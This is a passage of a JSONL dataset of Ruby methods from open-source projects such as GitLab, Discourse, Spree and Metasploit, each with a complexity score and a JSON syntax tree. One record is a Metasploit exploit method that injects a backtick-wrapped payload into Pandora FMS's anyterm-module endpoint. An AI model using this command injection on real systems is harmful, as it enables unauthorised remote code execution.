end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_month_stats\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"year\"]},{\"type\":\"arg\",\"children\":[\"month\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stat\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stat\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stat\"]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"lvar\",\"children\":[\"year\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"lvar\",\"children\":[\"month\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"distance_by_day\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"distance_by_day\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"assign_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"daily_distance\"]},{\"type\":\"lvar\",\"children\":[\"distance_by_day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"distance\"]},{\"type\":\"send\",\"children\":[null,\"distance\",{\"type\":\"lvar\",\"children\":[\"distance_by_day\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"toponyms\"]},{\"type\":\"send\",\"children\":[null,\"toponyms\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"h3_hex_ids\"]},{\"type\":\"send\",\"children\":[null,\"calculate_h3_hex_ids\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"save!\"]}]}]}]}","id":"8b9d8250-21b2-4d92-9f90-16155ca0d9cc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation/redis_cluster_router.rb","start_line":57,"raw_source":"def compact_array(arr)\n          return \"\" if arr.empty?\n\n          range = \"\"\n          prev = nil\n          arr.each do |i|\n            if prev.nil?\n              range += i.to_s\n            elsif prev + 1 < i\n              range += \"-#{prev},#{i}\"\n            end\n\n            prev = i\n          end\n          range += \"-#{prev}\"\n\n          range\n        end","complexity_score":23.03,"ast_json":"{\"type\":\"def\",\"children\":[\"compact_array\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"prev\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prev\"]},\"nil?\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prev\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},\"<\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prev\"]}]},{\"type\":\"str\",\"children\":[\",\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"prev\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prev\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}","id":"b54d05ac-1362-4d22-ad0a-ba348558337d"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/address.rb","start_line":231,"raw_source":"def async_geocode\n      Spree::Addresses::GeocodeAddressJob.perform_later(id) if should_geocode?\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"async_geocode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_geocode?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Addresses\"]},\"GeocodeAddressJob\"]},\"perform_later\",{\"type\":\"send\",\"children\":[null,\"id\"]}]},null]}]}","id":"b816548b-a3aa-47d3-8df6-254b446ee19a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/with_lock_retries.rb","start_line":85,"raw_source":"def run(raise_on_exhaustion: false, &block)\n        raise 'no block given' unless block\n\n        @block = block\n\n        if lock_retries_disabled?\n          log(message: 'DISABLE_LOCK_RETRIES environment variable is true, executing the block without retry')\n\n          return run_block\n        end\n\n        begin\n          run_block_with_lock_timeout\n        rescue ActiveRecord::LockWaitTimeout\n          if retry_with_lock_timeout?\n            disable_idle_in_transaction_timeout if connection.transaction_open?\n            wait_until_next_retry\n            reset_db_settings\n\n            retry\n          else\n            reset_db_settings\n\n            raise AttemptsExhaustedError, 'configured attempts to obtain locks are exhausted' if raise_on_exhaustion\n\n            run_block_without_lock_timeout\n          end\n\n        ensure\n          reset_db_settings\n        end\n      end","complexity_score":26.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"raise_on_exhaustion\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"no block given\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@block\",{\"type\":\"lvar\",\"children\":[\"block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lock_retries_disabled?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"DISABLE_LOCK_RETRIES environment variable is true, executing the block without retry\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_block\"]}]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_block_with_lock_timeout\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"LockWaitTimeout\"]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_with_lock_timeout?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"transaction_open?\"]},{\"type\":\"send\",\"children\":[null,\"disable_idle_in_transaction_timeout\"]},null]},{\"type\":\"send\",\"children\":[null,\"wait_until_next_retry\"]},{\"type\":\"send\",\"children\":[null,\"reset_db_settings\"]},{\"type\":\"retry\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reset_db_settings\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raise_on_exhaustion\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"AttemptsExhaustedError\"]},{\"type\":\"str\",\"children\":[\"configured attempts to obtain locks are exhausted\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"run_block_without_lock_timeout\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"reset_db_settings\"]}]}]}]}]}","id":"b70e3e90-f53d-4ba9-962b-c870309aeed5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/manifest_import/project_creator.rb","start_line":35,"raw_source":"def create_group_with_parents(full_path)\n        params = {\n          group_path: full_path,\n          visibility_level: destination.visibility_level,\n          organization_id: destination.organization_id\n        }\n\n        Groups::NestedCreateService.new(current_user, params).execute\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_group_with_parents\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"full_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_path\"]},{\"type\":\"lvar\",\"children\":[\"full_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination\"]},\"visibility_level\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination\"]},\"organization_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Groups\"]},\"NestedCreateService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},\"execute\"]}]}]}","id":"8c982fd5-77ff-45b0-acd9-f6b076ce1696"}
{"repo_name":"hooks","file_path":"./repos/hooks/lib/hooks/core/plugin_loader.rb","start_line":122,"raw_source":"def load_custom_auth_plugins(auth_plugin_dir)\n          return unless auth_plugin_dir && Dir.exist?(auth_plugin_dir)\n\n          Dir.glob(File.join(auth_plugin_dir, \"*.rb\")).sort.each do |file_path|\n            begin\n              load_custom_auth_plugin(file_path, auth_plugin_dir)\n            rescue StandardError, SyntaxError => e\n              raise StandardError, \"Failed to load auth plugin from #{file_path}: #{e.message}\"\n            end\n          end\n        end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"load_custom_auth_plugins\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"auth_plugin_dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_plugin_dir\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"auth_plugin_dir\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"auth_plugin_dir\"]},{\"type\":\"str\",\"children\":[\"*.rb\"]}]}]},\"sort\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_custom_auth_plugin\",{\"type\":\"lvar\",\"children\":[\"file_path\"]},{\"type\":\"lvar\",\"children\":[\"auth_plugin_dir\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to load auth plugin from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}]}]}]}","id":"456fe7e8-1c27-42e1-acb8-61eb62e43184"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/authorized_keys_spec.rb","start_line":265,"raw_source":"def tmp_authorized_keys_path\n    Gitlab.config.gitlab_shell.authorized_keys_file\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"tmp_authorized_keys_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"gitlab_shell\"]},\"authorized_keys_file\"]}]}","id":"7ff820ef-c212-4642-a749-abafdc6fd461"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/features/work_packages/details/relations/primerized_relations_spec.rb","start_line":135,"raw_source":"def label_for_relation_type(relation_type)\n    I18n.t(\"work_package_relations_tab.relations.label_#{relation_type}_plural\").capitalize\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"label_for_relation_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"work_package_relations_tab.relations.label_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation_type\"]}]},{\"type\":\"str\",\"children\":[\"_plural\"]}]}]},\"capitalize\"]}]}","id":"56ebcb58-3a36-4a21-9cbe-100cba64d4a8"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/user_comm_screener.rb","start_line":296,"raw_source":"def actor_communication_preferences\n    @actor_communication_preferences ||=\n      DB.query(<<~SQL, acting_user_id: acting_user.id, target_user_ids: @target_users.keys)\n      SELECT users.id AS target_user_id, 'disallowed_pm' AS preference_type FROM users\n      LEFT JOIN allowed_pm_users ON allowed_pm_users.allowed_pm_user_id = users.id\n      WHERE users.id IN (:target_user_ids)\n      AND (allowed_pm_users.user_id = :acting_user_id OR allowed_pm_users.user_id IS NULL)\n      AND allowed_pm_users.allowed_pm_user_id IS NULL\n      UNION\n      SELECT ignored_user_id AS target_user_id, 'ignored' AS preference_type\n      FROM ignored_users\n      WHERE user_id = :acting_user_id AND ignored_user_id IN (:target_user_ids)\n      UNION\n      SELECT muted_user_id AS target_user_id, 'muted' AS preference_type\n      FROM muted_users\n      WHERE user_id = :acting_user_id AND muted_user_id IN (:target_user_ids)\n    SQL\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"actor_communication_preferences\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@actor_communication_preferences\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT users.id AS target_user_id, 'disallowed_pm' AS preference_type FROM users\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT JOIN allowed_pm_users ON allowed_pm_users.allowed_pm_user_id = users.id\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE users.id IN (:target_user_ids)\\n\"]},{\"type\":\"str\",\"children\":[\"AND (allowed_pm_users.user_id = :acting_user_id OR allowed_pm_users.user_id IS NULL)\\n\"]},{\"type\":\"str\",\"children\":[\"AND allowed_pm_users.allowed_pm_user_id IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"UNION\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT ignored_user_id AS target_user_id, 'ignored' AS preference_type\\n\"]},{\"type\":\"str\",\"children\":[\"FROM ignored_users\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE user_id = :acting_user_id AND ignored_user_id IN (:target_user_ids)\\n\"]},{\"type\":\"str\",\"children\":[\"UNION\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT muted_user_id AS target_user_id, 'muted' AS preference_type\\n\"]},{\"type\":\"str\",\"children\":[\"FROM muted_users\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE user_id = :acting_user_id AND muted_user_id IN (:target_user_ids)\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"acting_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"acting_user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_user_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target_users\"]},\"keys\"]}]}]}]}]}]}","id":"e54b160d-f38d-4cec-8864-f14c6321e02c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pandora_fms_exec.rb","start_line":102,"raw_source":"def exploit\n    print_status(\"Sending payload\")\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, \"/anyterm-module\"),\n      'vars_post' => {\n        'a' => \"open\",\n        'p' => \"`#{payload.encoded}`\"\n      }\n    })\n\n    if !res || res.code != 200\n      fail_with(Failure::Unknown, \"#{peer} - Unexpected response, exploit probably failed!\")\n    end\n  end","complexity_score":18.03,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/anyterm-module\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"open\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"p\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unexpected response, exploit probably failed!\"]}]}]},null]}]}]}","id":"d3448d04-3a9d-4304-a965-83da609fecdf"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/staff_action_logger.rb","start_line":569,"raw_source":"def log_stop_impersonation(user, opts = {})\n    UserHistory.create!(\n      params(opts).merge(action: UserHistory.actions[:stop_impersonating], target_user_id: user.id),\n    )\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_stop_impersonation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"create!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"actions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stop_impersonating\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}]}]}","id":"8574b2ff-5cbb-451f-845c-6c8629b367dd"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/admin_detailed_user_serializer.rb","start_line":76,"raw_source":"def can_delete_all_posts\n    scope.can_delete_all_posts?(object)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"can_delete_all_posts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"can_delete_all_posts?\",{\"type\":\"send\",\"children\":[null,\"object\"]}]}]}","id":"f6de8989-5574-4192-adfa-07f69c55fc4c"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/security_test.rb","start_line":65,"raw_source":"def test_does_not_add_drop_methods_to_symbol_table\n    current_symbols = Symbol.all_symbols\n\n    assigns = { 'drop' => Drop.new }\n    assert_equal(\"\", Template.parse(\"{{ drop.custom_method_1 }}\", assigns).render!)\n    assert_equal(\"\", Template.parse(\"{{ drop.custom_method_2 }}\", assigns).render!)\n    assert_equal(\"\", Template.parse(\"{{ drop.custom_method_3 }}\", assigns).render!)\n\n    assert_equal([], (Symbol.all_symbols - current_symbols))\n  end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_does_not_add_drop_methods_to_symbol_table\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_symbols\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Symbol\"]},\"all_symbols\"]}]},{\"type\":\"lvasgn\",\"children\":[\"assigns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"drop\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Drop\"]},\"new\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{{ drop.custom_method_1 }}\"]},{\"type\":\"lvar\",\"children\":[\"assigns\"]}]},\"render!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{{ drop.custom_method_2 }}\"]},{\"type\":\"lvar\",\"children\":[\"assigns\"]}]},\"render!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{{ drop.custom_method_3 }}\"]},{\"type\":\"lvar\",\"children\":[\"assigns\"]}]},\"render!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Symbol\"]},\"all_symbols\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"current_symbols\"]}]}]}]}]}]}","id":"2e66a1f6-e50c-4761-9f60-9b553efa2d83"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/feature_flags/hook_service.rb","start_line":20,"raw_source":"def project\n      @project ||= feature_flag.project\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"feature_flag\"]},\"project\"]}]}]}","id":"4383febb-18d7-4c61-8195-f5e656ff46c3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/smb/client.rb","start_line":413,"raw_source":"def smb_parse_open(pkt, data)\n    # Process open responses\n    if (pkt['Payload']['SMB'].v['WordCount'] == 15)\n      res = CONST::SMB_OPEN_RES_PKT.make_struct\n      res.from_s(data)\n      return res\n    end\n\n    # Process SMB error responses\n    if (pkt['Payload']['SMB'].v['WordCount'] == 0)\n      return pkt\n    end\n\n    raise XCEPT::InvalidWordCount\n  end","complexity_score":20.9,"ast_json":"{\"type\":\"def\",\"children\":[\"smb_parse_open\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pkt\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WordCount\"]}]},\"==\",{\"type\":\"int\",\"children\":[15]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONST\"]},\"SMB_OPEN_RES_PKT\"]},\"make_struct\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"from_s\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WordCount\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"XCEPT\"]},\"InvalidWordCount\"]}]}]}]}","id":"15c6ea70-23c5-47da-9d15-993459667f3b"}
